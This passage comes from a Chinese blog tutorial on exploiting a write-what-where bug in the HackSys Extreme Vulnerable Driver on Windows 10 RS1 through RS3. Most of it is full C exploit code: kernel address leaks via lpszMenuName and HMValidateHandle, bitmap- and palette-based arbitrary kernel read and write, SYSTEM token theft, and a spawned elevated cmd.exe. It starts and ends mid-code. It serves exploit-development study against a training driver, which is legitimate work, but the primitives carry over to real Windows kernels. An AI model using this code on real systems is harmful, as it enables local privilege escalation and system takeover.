do // 根据PID是否找到当前进程 { // 获取下一个进程 lpNextEPROCESS = (DWORD64)((PUCHAR)lpNextEntryAddreess.Flink - 0x2f0); // 获取PID readOOB(hManagerbitmap, hWorkerbitmap, lpNextEPROCESS + 0x2e8, &lpCurrentPID, sizeof(LPVOID)); dwCurrentPID = LOWORD(lpCurrentPID); readOOB(hManagerbitmap, hWorkerbitmap, lpNextEPROCESS + 0x2f0, &lpNextEntryAddreess, sizeof(LIST_ENTRY)); } while (dwCurrentPID != currentProcessID);
DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358; writeOOB(hManagerbitmap, hWorkerbitmap, currentTokenAddress, lpSystemToken, sizeof(LPVOID));
//system("whoamin"); CreateCmd(); system("pause");
CloseHandle(hManagerbitmap); CloseHandle(hWorkerbitmap);
return 0;}

可以看到最后是成功了的.

【技术分享】从TH2到RS3看WWW漏洞的攻与防

最后我们总结一下RS1在WWW下的利用.
1.创建两个bitmap对象
2.利用 AcceleratorTables 间接获得pvScan0的地址(level up)
3.用漏洞改掉bitmap对象中pvScan0的值
4.替换Token
还有个要注意的地方就是nSize的大小和 CreateBitmap 的参数有一个对应关系,关系不对的话也是不能成功的.因为我这里是直接用的别人的数据,没仔细研究过,不过后来这个坑让我在1709也就是RS3踩到了.后面我会讲我是怎么踩到坑以及如何解决的.如果你想了解更多的话,请
参考这里

 

0×5
RS2下的WWW

由前面的RS1下的WWW我们得知利用 AcceleratorTables 间接获得pvScan0的地址的绕过手段在RS2下被kill掉了.那么在RS2下我们的WWW漏洞又该如何利用呢?上图

【技术分享】从TH2到RS3看WWW漏洞的攻与防

通过图片我们可以看到我们能通过WNDCLASSEX.lpszMenuName泄露pvScan0的地址.那么什么是WNDCLASSEX.lpszMenuName呢?上图

【技术分享】从TH2到RS3看WWW漏洞的攻与防

图片来源
这是CVE-2018-8453中的一段代码.我们只需要关注我箭头所指向的内容就好.
那么问题来了,我们怎么利用 WNDCLASSEX.lpszMenuName 泄露pvScan0的地址呢?
这里我们通过设置lpszMenuName的大小,释放掉,然后创建bitmap对象,如果bitmap申请到了对应的pool,那么我们就间接获得了pvScan0的地址.这里我也是用的别人的数据.

char buf[0x8f0];        memset(buf, 0x41, 0x8f0);        WNDCLASSEX wndclass = { 0x0 };        wndclass.cbSize = sizeof(wndclass);        wndclass.lpszClassName = TEXT("case");        wndclass.lpszMenuName = buf;        wndclass.lpfnWndProc = DefWindowProc;        ......        hbmp.hBmp = CreateBitmap(0x701, 2, 1, 8, Buff);        hbmp.kAddr = curr;//这是leak的lpszMenuName地址,有个判断当前申请的是否是前一个申请的        hbmp.pvScan0 = (PUCHAR)(curr + 0x50);

我们现在知道了我们怎么通过lpszMenuName找pvScan0的地址,那么问题来了,我们怎么获得lpszMenuName的地址呢?
我们可以使用HMValidateHandle()函数,该函数有两个参数,参数1为传入的Windows Object句柄,参数2为句柄属性,该函数会返回查找Windows Object结构在用户态映射下的地址(用户态桌面堆).然后再通过一系列的偏移找到lpszMenuName的地址.
其中HMValidateHandle( )这个函数可以通过硬编码得到.硬编码的知识我不是很了解,不过我记得<滴水逆向三期视频>里有相关的内容,有兴趣的同学可以自己去了解下…
其他的没什么好说的了.exp贴贴:

#include<stdio.h>#include<Windows.h>
typedef struct _hBmp{ HBITMAP hBmp; DWORD64 kAddr; PUCHAR pvScan0;}HBMP, * PHBMP;
typedef void* (NTAPI* lHMValidateHandle)(HWND h, int type);
typedef struct _payload { PULONG_PTR what; PULONG_PTR where;} Payload, * PPayload;
typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemModuleInformation = 11, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256];} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION { ULONG NumberOfModules; SYSTEM_MODULE_INFORMATION_ENTRY Module[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
HANDLE hDevice = NULL;HBMP workerBmp;HBMP managerBmp;lHMValidateHandle pHmValidateHandle = NULL;DWORD64 UserKernelDesktopHeap = 0;DWORD64 kernelDesktopHeap = 0;DWORD64 ulClientDelta = 0;



BOOL init(){ printf("[+]Start to get HANDLE"); // Get HANDLE hDevice = CreateFileA("\.HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) { return FALSE; } printf(" => done!n"); return TRUE;}
static VOID CreateCmd(){ STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);}
BOOL FindHMValidateHandle() { HMODULE hUser32 = LoadLibraryA("user32.dll"); if (hUser32 == NULL) { printf("Failed to load user32"); return FALSE; }
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu"); if (pIsMenu == NULL) { printf("Failed to find location of exported function 'IsMenu' within user32.dlln"); return FALSE; } unsigned int uiHMValidateHandleOffset = 0; for (unsigned int i = 0; i < 0x1000; i++) { BYTE* test = pIsMenu + i; if (*test == 0xE8) { uiHMValidateHandleOffset = i + 1; break; } } if (uiHMValidateHandleOffset == 0) { printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'n"); return FALSE; }
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset); unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; //The +11 is to skip the padding bytes as on Windows 10 these aren't nops pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11); printf("[+]HMValidateHandle address is : 0x%pn", pHmValidateHandle); return TRUE;}
DWORD64 leakBitmap(){ /* *[+]Get Client Delta */ printf("[+]Start to get Client Delta");
DWORD64 tebBase = (DWORD64)NtCurrentTeb();
UserKernelDesktopHeap = *(PDWORD64)(tebBase + 0x828);
kernelDesktopHeap = *(PDWORD64)(UserKernelDesktopHeap + 0x28);
ulClientDelta = kernelDesktopHeap - UserKernelDesktopHeap;
printf(" => done!n");
printf("[+]Client Delta address is 0x%pn", ulClientDelta);
return 0;}
DWORD64 leakWnd(HWND leakWnd){ /* *[+]Leak Wnd address */ PDWORD64 buffer = (PDWORD64)UserKernelDesktopHeap;
DWORD i = 0; while (1) { if (buffer[i] == (DWORD64)leakWnd) { printf("[+]Wnd address is 0x%pn", (DWORD64)(buffer + i)); return (DWORD64)(buffer + i); } i++; }
}
DWORD64 lpszMenuName(HWND hwnd){ leakBitmap();
DWORD64 wndaddr = leakWnd(hwnd);
DWORD64 kernelTagCls = *(PDWORD64)(wndaddr + 0xa8);
DWORD64 lpszNamemenuAddr = *(PDWORD64)(kernelTagCls - ulClientDelta + 0x90);
printf("[+]kernel address lpszMenuName at: 0x%pn", lpszNamemenuAddr);
return lpszNamemenuAddr;}
HBMP leak(){ HBMP hbmp = { 0x0 }; DWORD64 curr = 0; DWORD64 prev = 1; /* *[+]Heap spray biu biu biu ~ */ for (int i = 0; i < 0x700; i++) { char buf[0x8f0]; memset(buf, 0x41, 0x8f0); WNDCLASSEX wndclass = { 0x0 }; wndclass.cbSize = sizeof(wndclass); wndclass.lpszClassName = TEXT("case"); wndclass.lpszMenuName = buf; wndclass.lpfnWndProc = DefWindowProc; int result = RegisterClassExA(&wndclass);
if (!result) { printf("RegisterClassEx error: %drn", GetLastError()); }
HWND test = CreateWindowExA( 0, wndclass.lpszClassName, TEXT("WORDS"), 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL); curr = lpszMenuName(test);
/* *[+]If they are equal, we can get a stable address :) */ if (curr == prev) { DestroyWindow(test); UnregisterClassA(wndclass.lpszClassName, NULL); WCHAR* Buff = (WCHAR*)malloc(sizeof(WCHAR) * 0x50 * 2 * 4); RtlSecureZeroMemory(Buff, 0x50 * 2 * 4); RtlFillMemory(Buff, 0x50 * 2 * 4, 'x41'); hbmp.hBmp = CreateBitmap(0x701, 2, 1, 8, Buff); hbmp.kAddr = curr; hbmp.pvScan0 = (PUCHAR)(curr + 0x50); printf("hbmp.pvScan0 address ---> %p", hbmp.pvScan0);
return hbmp; }
DestroyWindow(test); UnregisterClassA(wndclass.lpszClassName, NULL); prev = curr; } return hbmp;}
typedef struct _WRITE_WHAT_WHERE { PULONG_PTR What; PULONG_PTR Where;} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;


VOID Leak_Trigger(){ /* *[+]Step1:Get HMValidateHandle address */ BOOL bFound = FindHMValidateHandle(); if (!bFound) { printf("Failed to locate HmValidateHandle, exitingn"); return; }
/* *[+]Step2:Define window */ WNDCLASSEX wnd = { 0x0 }; wnd.cbSize = sizeof(wnd); wnd.lpszClassName = TEXT("MainWClass"); wnd.lpszMenuName = TEXT("AAAAA"); wnd.lpfnWndProc = DefWindowProc; int result = RegisterClassEx(&wnd); if (!result) { printf("RegisterClassEx error: %drn", GetLastError()); }
/* *[+]Step3:Create window */ HWND test = CreateWindowEx( 0, wnd.lpszClassName, TEXT("WORDS"), 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);
/* *[+]Step4:Compute address of Bitmap */ managerBmp = leak(); workerBmp = leak();
printf("[+]ManagerBmp address leak pvScan0 at: 0x%pn", managerBmp.pvScan0); printf("[+]WorkerBmp address leak pvScan0 at: 0x%pn", workerBmp.pvScan0);
/* *[+]Step5:You know it => Write What Where */ PPayload payload = NULL; payload = (PPayload)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(Payload)); payload->what = (PULONG_PTR)&workerBmp.pvScan0; payload->where = (PULONG_PTR)managerBmp.pvScan0; DWORD BytesReturned = 0; DeviceIoControl(hDevice, 0x0022200B, (LPVOID)payload, sizeof(Payload), NULL, 0, &BytesReturned, NULL);
}
VOID readOOB(DWORD64 whereRead, LPVOID whatValue, int len){ SetBitmapBits(managerBmp.hBmp, len, &whereRead); GetBitmapBits(workerBmp.hBmp, len, whatValue); // read}
VOID writeOOB(DWORD64 whereWrite, LPVOID whatValue, int len){ SetBitmapBits(managerBmp.hBmp, len, &whereWrite); SetBitmapBits(workerBmp.hBmp, len, &whatValue); // write}
DWORD64 stealToken(){ _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation) GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation"); if (NtQuerySystemInformation == NULL) { printf("[+]Failed to get NtQuerySystemInformationn"); return NULL; }
DWORD len;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
PSYSTEM_MODULE_INFORMATION moduleInfo = NULL; moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!moduleInfo) { printf("[+]Failed to get moduleInfon"); return NULL; }
NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len);
LPVOID kernelBase = moduleInfo->Module[0].ImageBase; LPVOID kernelImage = moduleInfo->Module[0].FullPathName; printf("[+]kernel base address is at: 0x%pn", kernelBase);
LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName); printf("[+]kernel name is: %sn", lpkernelName);
HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0);
if (hUserSpacekernel == NULL) { VirtualFree(moduleInfo, 0, MEM_RELEASE); return NULL; }
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");
if (pUserKernelSymbol == NULL) { VirtualFree(moduleInfo, 0, MEM_RELEASE); return NULL; }
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);
FreeLibrary(hUserSpacekernel); VirtualFree(moduleInfo, 0, MEM_RELEASE);
LPVOID lpSystemEPROCESS = NULL; LPVOID lpSysProcID = NULL; LPVOID lpSystemToken = NULL; LIST_ENTRY lpNextEntryAddreess; readOOB((DWORD64)pLiveFunctionAddress, &lpSystemEPROCESS, sizeof(LPVOID)); readOOB((DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2e8), &lpSysProcID, sizeof(LPVOID)); readOOB((DWORD64)((PUCHAR)lpSystemEPROCESS + 0x358), &lpSystemToken, sizeof(LPVOID)); readOOB((DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2f0), &lpNextEntryAddreess, sizeof(LIST_ENTRY));
printf("[+]system process address is: 0x%pn", lpSystemEPROCESS); printf("[+]Next Process AT: 0x%pn", lpNextEntryAddreess.Flink); printf("[+]system process token value is: 0x%pn", lpSystemToken); printf("[+]system process PID is: 0x%pn", lpSysProcID);
DWORD64 currentProcessID = GetCurrentProcessId();
LPVOID lpNextEPROCESS = NULL; LPVOID lpCurrentPID = NULL; LPVOID lpCurrentToken = NULL; DWORD dwCurrentPID; do { lpNextEPROCESS = (PUCHAR)lpNextEntryAddreess.Flink - 0x2e8; readOOB((DWORD64)((PUCHAR)lpNextEPROCESS + 0x2e0), &lpCurrentPID, sizeof(LPVOID)); dwCurrentPID = LOWORD(lpCurrentPID); readOOB((DWORD64)((PUCHAR)lpNextEPROCESS + 0x2e8), &lpNextEntryAddreess, sizeof(LIST_ENTRY)); } while (dwCurrentPID != currentProcessID);
DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358; printf("[+]Start to write token"); writeOOB(currentTokenAddress, lpSystemToken, sizeof(LPVOID)); printf(" => done!n");}
int main() { init(); Leak_Trigger();
stealToken();
CreateCmd(); system("pause"); return 0;}

可以看到最后我们是成功提权了的.

【技术分享】从TH2到RS3看WWW漏洞的攻与防

最后总结一下利用过程:
1.通过WNDCLASSEX.lpszMenuName找到将要创建的bitmap对象的pvScan0地址(level up)
2.创建bitmap对象并对应到pvScan0的地址.(level up)
3.用漏洞改掉bitmap对象中pvScan0的值
4.替换Token

 

0×6
RS3下的WWW

嗯,不出所料的,RS2下的利用手段在RS3下被kill掉了.然后k0shl师傅提出了一种新的利用手段.说实话,看不懂…
然后这里我要讲的是另外一种绕过技术,也是比较通用的技术—使用paltte进行读写.
话不多说,上图

【技术分享】从TH2到RS3看WWW漏洞的攻与防

其实这个和bitmap类似,其中第一个红框框代表的是第二个红框框指向的内容的大小,第二个红框框指向的内容可以进行读写.
这里进行读写使用的是SetPaletteEntries函数和GetPaletteEntries函数.
其他的和RS2下的WWW漏洞利用一样,改一下偏移等数据就好.
然后这里我copy的k0shl师傅的代码,发现行不通,像这样

【技术分享】从TH2到RS3看WWW漏洞的攻与防

但是k0shl师傅的exe是可以成功提权的.
后来经过分析发现,是没有申请到对应的 lpszMenuName 所导致的.我直接这么说可能难以理解.上图

【技术分享】从TH2到RS3看WWW漏洞的攻与防

如图,如果不成功的话,!pool出来的是 Ustx,而且是free状态.然后成功了的话是这样的

【技术分享】从TH2到RS3看WWW漏洞的攻与防

!pool出来的是 Gh08,而且是Allocated状态.(那个*打不出来)
然后提一下我是怎么定位到关键数据的.
最开始我是根据输出定位到Worker_Palette的,然后意识到可能是palette出了问题,然后网上查找palette相关的内容,然后我找到了晏子霜师傅的CVE-2018-8453分析,用其中palette相关的内容leak成功.然后打算加入到我的代码中来,结果发现程序一调用CreatePalette函数就崩溃,也不知道为什么会崩溃,最后我尝试用k0shl师傅的代码改size大小,成功了.当然直接在k0shl师傅的exploit里改size大小是会崩溃的.
代码贴贴:

#include<stdio.h>#include<Windows.h>
#define HACKSYS_EVD_IOCTL_ARBITRARY_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0X802, METHOD_NEITHER, FILE_ANY_ACCESS)typedef void* (NTAPI* lHMValidateHandle)(HWND h, int type);
typedef struct _WRITE_WHAT_WHERE { PULONG_PTR What; PULONG_PTR Where;} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
PVOID IsMenu_Address = NULL, HMValidateHandle_Address = NULL;
typedef HWND(__fastcall* My_HMValidateHandle)( HWND Window, ULONG Number );
My_HMValidateHandle HMValidateHandle = NULL;
LOGPALETTE* Palette = NULL;
typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemModuleInformation = 11, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256];} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION { ULONG NumberOfModules; SYSTEM_MODULE_INFORMATION_ENTRY Module[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct _HEAD{ HANDLE h; DWORD cLockObj;} HEAD, * PHEAD;
typedef struct _THROBJHEAD{ HEAD h; PVOID pti;} THROBJHEAD, * PTHROBJHEAD;
typedef struct _G_PALETTE{ HPALETTE _hpalette; DWORD64 _kobj_palette; DWORD flag;} GPALETTE, * PGPALETTE;
typedef struct _THRDESKHEAD{ THROBJHEAD h; PVOID rpdesk; PVOID pSelf; // points to the kernel mode address} THRDESKHEAD, * PTHRDESKHEAD;

PWRITE_WHAT_WHERE WriteWhatWhere = NULL;HANDLE hDevice = NULL;lHMValidateHandle pHmValidateHandle = NULL;PGPALETTE Worker_Palette;PGPALETTE Manager_Palette;DWORD BytesReturned = 0;

static VOID CreateCmd(){ STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);}
BOOL init(){ printf("[+]Start to get HANDLE"); // Get HANDLE hDevice = CreateFileA("\.HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) { return FALSE; } printf("Create HEVD Device Success,Handle at: 0x%pn", hDevice); return TRUE;}


BOOL FindHMValidateHandle() { HMODULE hUser32 = LoadLibraryA("user32.dll"); if (hUser32 == NULL) { printf("Failed to load user32"); return FALSE; }
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu"); if (pIsMenu == NULL) { printf("Failed to find location of exported function 'IsMenu' within user32.dlln"); return FALSE; } unsigned int uiHMValidateHandleOffset = 0; for (unsigned int i = 0; i < 0x1000; i++) { BYTE* test = pIsMenu + i; if (*test == 0xE8) { uiHMValidateHandleOffset = i + 1; break; } } if (uiHMValidateHandleOffset == 0) { printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'n"); return FALSE; }
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset); unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; //The +11 is to skip the padding bytes as on Windows 10 these aren't nops pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11); printf("[+]HMValidateHandle address is : 0x%pn", pHmValidateHandle); return TRUE;}

HPALETTE createPaletteofSize(int size) { // we alloc a palette which will have the specific size on the paged session pool. if (size <= 0x90) { printf("Bad size! can't allocate palette of size < 0x90!"); return 0; } int pal_cnt = (size - 0x90) / 4; int palsize = sizeof(LOGPALETTE) + (static_cast<__int64>(pal_cnt) - 1) * sizeof(PALETTEENTRY); LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize); printf("palsize -->%llXn", palsize); printf("lPalette address =======>%pn", lPalette); memset(lPalette, 0x66, palsize);
lPalette->palNumEntries = pal_cnt; printf("lPalette->palNumEntries %llXn", lPalette->palNumEntries); lPalette->palVersion = 0x300; printf("lPalette->palVersion %llXn", lPalette->palVersion); //__debugbreak(); return CreatePalette(lPalette);}
VOID readOOB(HPALETTE worker_palette, HPALETTE manager_palette, DWORD64* target_address, BYTE* data, int size) { if (!manager_palette || !worker_palette) { printf("Palettes not initialized yet!"); /*return 0;*/ } // overflow into worker_palette to set values SetPaletteEntries(manager_palette, 0, sizeof(PVOID) / sizeof(PALETTEENTRY), (PALETTEENTRY*)&target_address);
// trigger GetPaletteEntries on worker_palette to read the actual data // return actual amount of bytes read (*4), not amount of palette entries read //__debugbreak(); GetPaletteEntries(worker_palette, 0, size / sizeof(PALETTEENTRY), (PALETTEENTRY*)data);}
int writeOOB(HPALETTE worker_palette, HPALETTE manager_palette, UINT64 target_address, BYTE* data, int size) { if (!manager_palette || !worker_palette) { printf("Palettes not initialized yet!n"); return 0; }
// overflow into worker_palette to set values SetPaletteEntries(manager_palette, 0, sizeof(PVOID) / sizeof(PALETTEENTRY), (PALETTEENTRY*)&target_address);
// trigger SetPaletteEntries on worker_palette to write the actual data // return actual amount of bytes written (*4), not amount of palette entries written return SetPaletteEntries(worker_palette, 0, size / sizeof(PALETTEENTRY), (PALETTEENTRY*)data);}
PVOID Find_Functions(LPCSTR Dll_Name, LPCSTR F_Name) { HMODULE Dll_HMODULE = NULL; PVOID F_Address = NULL; Dll_HMODULE = LoadLibraryA(Dll_Name); if (Dll_HMODULE == NULL) { printf("%s Find Error!n", Dll_Name); return NULL; } printf("Address(%s):0x%pn", Dll_Name, Dll_HMODULE); F_Address = GetProcAddress(Dll_HMODULE, F_Name); if (F_Address == NULL) { printf("Function(%s) Find Error!n", F_Name); return NULL; } printf("Address(%s):0x%pn", F_Name, F_Address);
return F_Address;}
PVOID Find_HMValidateHandle(PVOID IsMenu_Address) { ULONG64 HMV_Adr = 0; while (1) { if (*(char*)IsMenu_Address == 'xE8') {
HMV_Adr = *(ULONG*)((ULONG64)IsMenu_Address + 1);
HMV_Adr += (ULONG64)IsMenu_Address + 0x05 - 0x100000000;
return (PVOID)HMV_Adr; } IsMenu_Address = (char*)IsMenu_Address + 1; }
return 0;}
ULONG64 PEB = NULL, fnDWORD_Address = NULL, To_Where_A_Palette = NULL, ulClientDelta = NULL;
DWORD64 lpszMenuName(HWND hwnd) {
IsMenu_Address = Find_Functions("user32.dll", "IsMenu"); HMValidateHandle_Address = Find_HMValidateHandle(IsMenu_Address); printf("HMValidateHandle Address(0x%p)n", HMValidateHandle_Address); HMValidateHandle = (My_HMValidateHandle)HMValidateHandle_Address; ULONG64 tagWND = (ULONG64)HMValidateHandle(hwnd, 0x01); ulClientDelta = (ULONG64)((*(ULONG64*)(tagWND + 0x20)) - (ULONG64)tagWND); DWORD64 KerneltagCLS = (*(ULONG64*)(tagWND + 0xa8)) - ulClientDelta; DWORD64 lpszMenuNameA = *(ULONG64*)(KerneltagCLS + 0x98); printf("lpszMenuNameA_address %llXn", lpszMenuNameA); return lpszMenuNameA;}
PGPALETTE CreatePaletteInHole(){ printf("aaaaaan"); PGPALETTE pgpalette = (PGPALETTE)malloc(sizeof(PGPALETTE)); TCHAR st[0x68]; WNDCLASSEX Class2 = { 0 }; DWORD64 lpszMenuNameB = 0x666; memset(st, 0x66, sizeof(st)); Class2.lpfnWndProc = DefWindowProc; Class2.lpszClassName = TEXT("k0shl"); Class2.lpszMenuName = st; Class2.cbSize = sizeof(WNDCLASSEX); DWORD dwcount = 0; for (int i = 0; i < 0x666; i++) { int result = RegisterClassEx(&Class2); if (!result) { printf("RegisterClassEx error: %dn", GetLastError()); exit(-1); } //Int_3(); HWND test = CreateWindowEx( 0, Class2.lpszClassName,//wnd.lpszClassName, TEXT("WORDS"), 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL); //Int_3(); PTHRDESKHEAD tagWND = (PTHRDESKHEAD)pHmValidateHandle(test, 1); //Int_3(); DWORD64 KerneltagWND = (DWORD64)(tagWND->pSelf); DWORD64 UsertagWND = (DWORD64)tagWND; //Int_3(); DWORD64 ulClientDelta = KerneltagWND - UsertagWND; DWORD64 KerneltagCLS = *(PDWORD64)(UsertagWND + 0xa8); DWORD64 lpszMenuNameA = *(PDWORD64)(KerneltagCLS - ulClientDelta + 0x98); printf("lpszMenuNameA address --->%llXn", lpszMenuNameA); if (lpszMenuNameB == lpszMenuNameA) { __debugbreak(); DestroyWindow(test); //createPaletteofSize(0x190); UnregisterClass(Class2.lpszClassName, NULL); //Int_3(); __debugbreak(); pgpalette->_hpalette = (HPALETTE)createPaletteofSize(0x100); printf("pgpalette->hpalette %pn", pgpalette->_hpalette); pgpalette->_kobj_palette = lpszMenuNameA; pgpalette->flag = 1; printf("success!!!!!n"); __debugbreak(); return pgpalette; } DestroyWindow(test); //createPaletteofSize(0x190); UnregisterClass(Class2.lpszClassName, NULL); lpszMenuNameB = lpszMenuNameA; printf("lpszMenuNameB_address ===>%llXn", lpszMenuNameB);
} return 0;}
DWORD64 stealToken(){ _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation) GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation"); if (NtQuerySystemInformation == NULL) { printf("[+]Failed to get NtQuerySystemInformationn"); return NULL; }
DWORD len;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
PSYSTEM_MODULE_INFORMATION moduleInfo = NULL; moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!moduleInfo) { printf("[+]Failed to get moduleInfon"); return NULL; }
NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len);
LPVOID kernelBase = moduleInfo->Module[0].ImageBase; LPVOID kernelImage = moduleInfo->Module[0].FullPathName; printf("[+]kernel base address is at: 0x%pn", kernelBase);
LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName); printf("[+]kernel name is: %sn", lpkernelName);
HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0);
if (hUserSpacekernel == NULL) { VirtualFree(moduleInfo, 0, MEM_RELEASE); return NULL; }
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");
if (pUserKernelSymbol == NULL) { VirtualFree(moduleInfo, 0, MEM_RELEASE); return NULL; }
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);
FreeLibrary(hUserSpacekernel); VirtualFree(moduleInfo, 0, MEM_RELEASE); printf("pLiveFunctionAddress ============>%llXn", pLiveFunctionAddress); LPVOID lpSystemEPROCESS = NULL; LPVOID lpSysProcID = NULL; LPVOID lpSystemToken = NULL; LIST_ENTRY lpNextEntryAddreess; readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)pLiveFunctionAddress, (BYTE*)&lpSystemEPROCESS, sizeof(DWORD64)); //__debugbreak(); readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpSystemEPROCESS + 0x2e0), (BYTE*)&lpSysProcID, sizeof(DWORD64)); readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpSystemEPROCESS + 0x358), (BYTE*)&lpSystemToken, sizeof(DWORD64)); readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpSystemEPROCESS + 0x2f0), (BYTE*)&lpNextEntryAddreess, sizeof(LIST_ENTRY)); printf("[+]system process PID is: 0x%llX n", lpSysProcID); printf("[+]system process address is: 0x%pn", lpSystemEPROCESS); printf("[+]Next Process AT: 0x%pn", lpNextEntryAddreess.Flink); printf("[+]system process token value is: 0x%pn", lpSystemToken);
